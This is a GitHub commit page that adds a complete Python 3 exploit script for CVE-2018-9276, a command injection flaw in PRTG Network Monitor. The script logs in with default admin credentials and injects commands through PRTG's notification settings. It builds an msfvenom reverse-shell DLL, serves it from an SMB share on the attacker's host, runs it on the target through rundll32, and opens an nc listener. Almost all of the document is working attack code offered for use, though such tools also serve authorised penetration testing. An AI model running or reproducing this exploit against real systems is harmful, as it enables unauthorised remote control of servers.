forked from alvinsmith-eroad/CVE-2018-9276
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Alvin Smith
authored
Jul 29, 2021
1 parent
649dea0
commit b5cfc5e
Showing
1 changed file
with
319 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,319 @@ | ||
#!/usr/bin/python3 | ||
##################################################################################### | ||
# | ||
# Title: PRTG < 18.2.39 Authenticated Command Injection (Reverse Shell) | ||
# Reference: CVE-2018-9276 | ||
# https://nvd.nist.gov/vuln/detail/CVE-2018-9276 | ||
# Author: Alvin Smith | ||
# Date: 29/07/2021 | ||
# Description: Re-write of exploit released by wildkindcc (https://github.com/wildkindcc/CVE-2018-9276) | ||
# Python3 support | ||
# | ||
##################################################################################### | ||
import colorama | ||
import argparse | ||
import http.client, urllib.request, urllib.parse, urllib.error | ||
import traceback | ||
import ssl | ||
import random | ||
import string | ||
import json | ||
import sys | ||
import time | ||
import os | ||
from impacket.examples import logger | ||
from impacket import smbserver, version | ||
from impacket.ntlm import compute_lmhash, compute_nthash | ||
import threading | ||
import logging | ||
import socket | ||
|
||
##################################################################################### | ||
# Adds colourised notifications to text | ||
# Colourama is not neccesary for ANSI compliant terminals; however, it will make it work in windows. | ||
colorama.init() | ||
error = '\033[31m[!] \033[0m' # [!] Red | ||
fail = '\033[31m[-] \033[0m' # [-] Red | ||
success = '\033[32m[+] \033[0m' # [+] Green | ||
event = '\033[34m[*] \033[0m' # [*] Blue | ||
debug = '\033[35m[%] \033[0m' # [%] Magenta | ||
notification = '[-] ' # [-] | ||
|
||
##################################################################################### | ||
# argparse | ||
# https://docs.python.org/3.3/library/argparse.html#module-argparse | ||
|
||
def get_args(): | ||
# This function parses and return arguments passed in | ||
# Help (-h --help) is automagically defined. | ||
# Assign description to the help doc | ||
parser = argparse.ArgumentParser( | ||
description='CVE-2018-9276') | ||
# Add arguments | ||
parser.add_argument( | ||
'-i', '--host', type=str, help='IP address / Hostname of vulnerable PRTG server', required=True) | ||
parser.add_argument( | ||
'-p', '--port', type=str, help='Port number', required=True) | ||
parser.add_argument( | ||
'--lhost', type=str, help='LHOST for MSFVENOM', required=True) | ||
parser.add_argument( | ||
'--lport', type=str, help='LPORT for MSFVENOM', required=True) | ||
parser.add_argument( | ||
'--user', type=str, help='Administrator Username', required=False, default="prtgadmin") | ||
parser.add_argument( | ||
'--password', type=str, help='Administrator Password', required=False, default="prtgadmin") | ||
parser.add_argument( | ||
'--https', action='store_true', help='Negotiate SSL connection to the server (Requires socket to be compiled with SSL support)', required=False, default=None) | ||
# Array for all arguments passed to script | ||
args = parser.parse_args() | ||
|
||
# Assign args to variables | ||
host = args.host | ||
port = args.port | ||
lhost = args.lhost | ||
lport = args.lport | ||
user = args.user | ||
password = args.password | ||
https = args.https | ||
# Return all variable values | ||
return host, port, lhost, lport, user, password, https | ||
|
||
##################################################################################### | ||
host, port, lhost, lport, user, password, https = get_args() | ||
url = "%s:%s" % (host, port) | ||
|
||
def checkVersion(): | ||
# Check for SSL | ||
if https: | ||
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context()) | ||
else: | ||
conn = http.client.HTTPConnection(url) | ||
|
||
conn.request("GET", "/") | ||
response = conn.getresponse() | ||
version = response.getheader('Server') | ||
conn.close() | ||
|
||
versionSplit = [] | ||
vulnerable = True | ||
|
||
for var in version.split("/")[1].split(".")[:3]: | ||
versionSplit.append(var) | ||
|
||
if not int(versionSplit[0]) <= 18: | ||
print(versionSplit[0]) | ||
vulnerable = False | ||
|
||
if not int(versionSplit[1]) <= 2: | ||
print(versionSplit[1]) | ||
vulnerable = False | ||
|
||
if not int(versionSplit[2]) < 39: | ||
print(versionSplit[2]) | ||
vulnerable = False | ||
|
||
if not vulnerable: | ||
raise ValueError('Server returned version [{}]'.format(version), "Versions < 18.2.39 are vulnerable to CVE-2018-9276") | ||
else: | ||
print(success + "[{}] is Vulnerable!".format(version)) | ||
return 0 | ||
|
||
def randomString(stringLength=8): | ||
letters = string.ascii_lowercase | ||
return ''.join(random.choice(letters) for i in range(stringLength)) | ||
|
||
# Connects to the PRTG server instance and retrieves a valid session cookie. | ||
def get_session(): | ||
headers = { | ||
'Content-Type' : 'application/x-www-form-urlencoded' | ||
} | ||
payload = "loginurl=%2Fmyaccount.htm%3Ftabid%3D2&username={}&password={}".format(user, password) | ||
|
||
# Check for SSL | ||
if https: | ||
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context()) | ||
else: | ||
conn = http.client.HTTPConnection(url) | ||
|
||
conn.request("POST", "/public/checklogin.htm", payload, headers) | ||
response = conn.getresponse() | ||
header = response.getheader('set-cookie') | ||
conn.close() | ||
|
||
if not header: | ||
raise ValueError('Session not obtained. Check your usename/password and try again!') | ||
else: | ||
print(success + "Session obtained for [{}:{}]".format(user, password)) | ||
session = header.split(";")[0] | ||
return session | ||
|
||
def createFile(fileLocation): | ||
# Prepare the environment by creating an output file required for injection | ||
session = get_session() | ||
name = randomString() | ||
|
||
headers = { | ||
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8', | ||
'X-Requested-With' : 'XMLHttpRequest', | ||
'Cookie' : str(session) | ||
} | ||
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=\"{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.parse.quote_plus(fileLocation)) | ||
|
||
# Check for SSL | ||
if https: | ||
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context()) | ||
else: | ||
conn = http.client.HTTPConnection(url) | ||
|
||
conn.request("POST", "/editsettings", payload, headers) | ||
response = conn.getresponse() | ||
|
||
objid = json.loads(response.read())['objid'] | ||
conn.close() | ||
|
||
print(success + "File staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)) | ||
return objid | ||
|
||
def prepareCommand(fileLocation, command): | ||
session = get_session() | ||
# File: log output which we require for injection | ||
# Session: A valid session ID returned from get_session | ||
name = randomString() | ||
|
||
headers = { | ||
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8', | ||
'X-Requested-With' : 'XMLHttpRequest', | ||
'Cookie' : str(session) | ||
} | ||
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=\"{};{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.parse.quote_plus(fileLocation), urllib.parse.quote_plus(command)) | ||
|
||
# Check for SSL | ||
if https: | ||
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context()) | ||
else: | ||
conn = http.client.HTTPConnection(url) | ||
|
||
conn.request("POST", "/editsettings", payload, headers) | ||
#conn.debuglevel = 1 | ||
response = conn.getresponse() | ||
#print response.status, response.reason | ||
|
||
objid = json.loads(response.read())['objid'] | ||
conn.close() | ||
|
||
print(success + "Command staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)) | ||
return objid | ||
|
||
def notify(objid): | ||
session = get_session() | ||
|
||
headers = { | ||
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8', | ||
'X-Requested-With' : 'XMLHttpRequest', | ||
'Cookie' : str(session) | ||
} | ||
payload = "id={}".format(objid) | ||
|
||
# Check for SSL | ||
if https: | ||
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context()) | ||
else: | ||
conn = http.client.HTTPConnection(url) | ||
|
||
conn.request("POST", "/api/notificationtest.htm", payload, headers) | ||
response = conn.getresponse() | ||
|
||
data = response.read() | ||
data = data.decode('utf-8') # Decode the bytes object to string as 2to3 didn't do it | ||
conn.close() | ||
|
||
if 'EXE notification is queued up' not in data: | ||
raise ValueError('Notify did not return the correct response.', data) | ||
else: | ||
print(success + "Notification with objid [{}] staged for execution".format(objid)) | ||
return 0 | ||
|
||
|
||
def initialise(fileLocation): | ||
objid = createFile(fileLocation) | ||
time.sleep(5) | ||
notify(objid) | ||
|
||
def executeCommand(fileLocation, command): | ||
objid = prepareCommand(fileLocation, command) | ||
time.sleep(5) | ||
notify(objid) | ||
|
||
def generatePayload(output, lhost, lport): | ||
print(event + "Generate msfvenom payload with [LHOST={} LPORT={} OUTPUT={}]".format(lhost, lport, output)) | ||
os.system("msfvenom -p windows/shell_reverse_tcp LHOST="+ lhost + " LPORT="+ lport +" -f dll > " + output) | ||
|
||
def hostPayload(lhost, outputDir, shareName): | ||
server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445) | ||
server.addShare(shareName, outputDir) | ||
|
||
# If the host you're talking to doesnt support SMBv1 this can be uncommented to enable it. This is an experimental impacket feature. | ||
# server.setSMB2Support(True) | ||
|
||
server.setSMBChallenge('') | ||
print(event + "Hosting payload at [\\\\{}\{}]".format(lhost, shareName)) | ||
server.start() | ||
|
||
# I commented out to avoid log error "Unknown level for query path info" | ||
# https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbserver.py | ||
''' | ||
time.sleep(5) | ||
server.stop() | ||
''' | ||
|
||
##################################################################################### | ||
logging.basicConfig(level=logging.DEBUG, format=event + '%(message)s',) | ||
|
||
# Simple error handling because | ||
try: | ||
# Default writable file location | ||
fileLocation = 'C:\\Users\\Public\\tester.txt' | ||
|
||
checkVersion() | ||
print("") | ||
print(event + "Exploiting [%s:%s] as [%s/%s]" % (host, port, user, password)) | ||
|
||
shellName = randomString() | ||
shareName = randomString().upper() | ||
outputDir = "/tmp" | ||
payload = "{}/{}.dll".format(outputDir,shellName) | ||
shellLocation = "\\\\{}\\{}\\{}.dll".format(lhost, shareName, shellName) | ||
|
||
initialise(fileLocation) | ||
|
||
# Generate our reverse shell payload | ||
generatePayload(payload, lhost, lport) | ||
|
||
# Setup the threading to run an impacket server in the background | ||
impacket = threading.Timer(0, hostPayload, args=(lhost, outputDir, shareName,)) | ||
impacket.setName('Impacket') | ||
impacket.setDaemon(True) | ||
impacket.start() | ||
|
||
# Little sleep just to make sure everything is dandy | ||
time.sleep(2) | ||
|
||
command = "rundll32.exe " + shellLocation + ",0" | ||
executeCommand(fileLocation, command) | ||
# Close the SMB server when no longer required | ||
print(event + "Attempting to kill the impacket thread") | ||
print(notification + "Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!") | ||
print(notification + "ps aux | grep <script name> and kill -9 <pid> if it is still running :)") | ||
print(notification + "The connection will eventually time out.") | ||
impacket.cancel() | ||
print("") | ||
print(success + "Listening on [{}:{} for the reverse shell!]".format(lhost, lport)) | ||
os.system("nc -nvlp " + lport) | ||
|
||
except ValueError as err: | ||
for errors in err: | ||
print(error + errors) | ||
traceback.print_exc() | ||
except Exception: | ||
print(error + "An unhandled exception has occured!") | ||
traceback.print_exc() |